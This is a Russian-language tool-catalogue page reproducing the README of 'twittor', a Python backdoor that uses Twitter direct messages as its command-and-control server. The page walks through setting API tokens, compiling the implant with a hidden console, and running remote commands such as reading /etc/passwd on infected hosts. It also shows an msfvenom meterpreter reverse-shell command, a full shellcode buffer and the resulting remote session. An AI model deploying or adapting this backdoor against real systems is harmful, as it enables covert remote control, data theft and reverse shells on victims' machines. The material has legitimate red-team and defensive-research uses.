Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
twittor — Полнофункциональный бэкдор, использующий Twitter в качестве C&C-сервера | Kitploit
Инструменты/GitHubGitHub/paulsec/twittor
ЭксплуатацияШелл-кодПост-эксплуатацияКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubpaulsec/twittor

twittor

Полнофункциональный бэкдор, использующий Twitter в качестве C&C-сервера

Репозиторий
80622510 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Twittor

Скрытный бэкдор на Python, использующий Twitter (личные сообщения) в качестве сервера управления и контроля (C&C). Этот проект вдохновлён Gcat, который делает то же самое, но через аккаунт Gmail.

Установка

Для работы вам потребуется:

  • Аккаунт Twitter (Используйте выделенный аккаунт! Не используйте свой личный!)
  • Зарегистрировать приложение в Twitter с уровнем доступа Read, write, and direct messages (чтение, запись и личные сообщения).

Установите зависимости:

root@kitploit:~
$ pip install -r requirements.txt

В репозитории два файла:

  • twittor.py — клиент
  • implant.py — собственно бэкдор для развёртывания

В обоих файлах отредактируйте часть с токенами доступа и добавьте те, которые вы сгенерировали ранее:

root@kitploit:~
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

Вероятно, вы захотите скомпилировать implant.py в исполняемый файл с помощью Pyinstaller. Чтобы убрать консоль при компиляции Pyinstaller, помогут флаги --noconsole --onefile. Просто к слову.

Использование

Для запуска клиента выполните скрипт.

root@kitploit:~
$ python twittor.py

Вы попадёте в «интерактивную» оболочку, которая предлагает несколько команд:

root@kitploit:~
$ help

    refresh — обновить C&C
    list_bots — показать активные боты
    list_commands — показать выполненные команды
    !retrieve <jobid> — получить результат команды по jobid
    !cmd <MAC-АДРЕС> команда — выполнить команду на боте
    !shellcode <MAC-АДРЕС> shellcode — загрузить и выполнить шелл-код в памяти (только Windows)
    help — показать эту справку
    exit — выйти из клиента
    
$ 
  • После развёртывания бэкдора на нескольких системах вы можете проверить доступных клиентов с помощью команды list:
root@kitploit:~
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

Вывод — это MAC-адрес, который уникально идентифицирует систему, а также даёт информацию об ОС, на которой работает имплант. В данном случае это Linux-машина.

  • Давайте выполним команду на импланте:
root@kitploit:~
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Отправлена команда "cat /etc/passwd" с jobid: UMW07r2
$

Здесь мы говорим B7:76:1F:0B:50:B7 выполнить cat /etc/passwd, скрипт выводит jobid, который мы можем использовать, чтобы получить результат выполнения команды.

  • Получаем результаты!
root@kitploit:~
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

Команда для этого случая — !retrieve, за которой следует jobid из команды.

  • Обновление результатов

Чтобы получить новые боты/результаты команд, а также заставить клиента обновить результаты, используйте команду refresh.

root@kitploit:~
$ refresh
[+] Отправлена команда для получения живых ботов
[+] Ожидание 10 секунд для ответа ботов
$

Это отправит запрос PING и подождёт 10 секунд для ответа. Затем личные сообщения будут проанализированы — список ботов обновится, а также список команд, включая новые результаты.

  • Получение предыдущих команд

Как я уже говорил, (предыдущие) команды будут извлечены из старых личных сообщений (лимит — 200), и вы можете получить/увидеть их с помощью команды list_commands.

root@kitploit:~
$ list_commands
8WNzapM: 'uname -a ' на 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' на 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' на 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' на 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' на 2C:4C:84:8C:D3:B1
$
  • Запуск шелл-кода (хосты Windows)

Эта опция может пригодиться для получения сессии meterpreter, и эта статья становится очень полезной.

Сгенерируйте шелл-код meterpreter, например:

root@kitploit:~
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Размер полезной нагрузки: 299 байт
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Извлеките шелл-код и отправьте его указанному боту с помощью команды !shellcode!

root@kitploit:~
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Отправлен шелл-код с jobid: xdr7mtN
$

И вуаля!

root@kitploit:~
msf exploit(handler) > exploit

[*] Запущен обработчик reverse на 10.0.0.1:3615
[*] Запуск обработчика полезной нагрузки...
[*] Отправка стадии (884270 байт) на 10.0.0.99
[*] Сессия Meterpreter 1 открыта (10.0.0.1:3615 -> 10.0.0.99:49254) в 2015-09-08 10:19:04 -0400

meterpreter > getuid
Имя пользователя сервера: WIN-XXXXXXXXX\PaulSec

Откройте пиво и наслаждайтесь обратной оболочкой meterpreter.

Вопросы и/или желание внести свой вклад?

Проект полностью открытый и распространяется под лицензией MIT. В основном я хотел создать PoC после того, как Twitter решил убрать ограничение в 140 символов для личных сообщений. Есть несколько вещей, которые можно добавить, например шифрование (AES поверх этого). «Сообщения» используют структуру данных «словарь», а вся команда закодирована только в base64. Форкайте проект, вносите вклад, отправляйте pull request’ы и веселитесь.

Если вы нашли ошибку, откройте issue на GitHub и/или напишите мне в Twitter.

Опять же, не стесняйтесь заглянуть в удивительный проект Gcat от byt3bl33d3r, который меня сильно вдохновил.

Скачать инструмент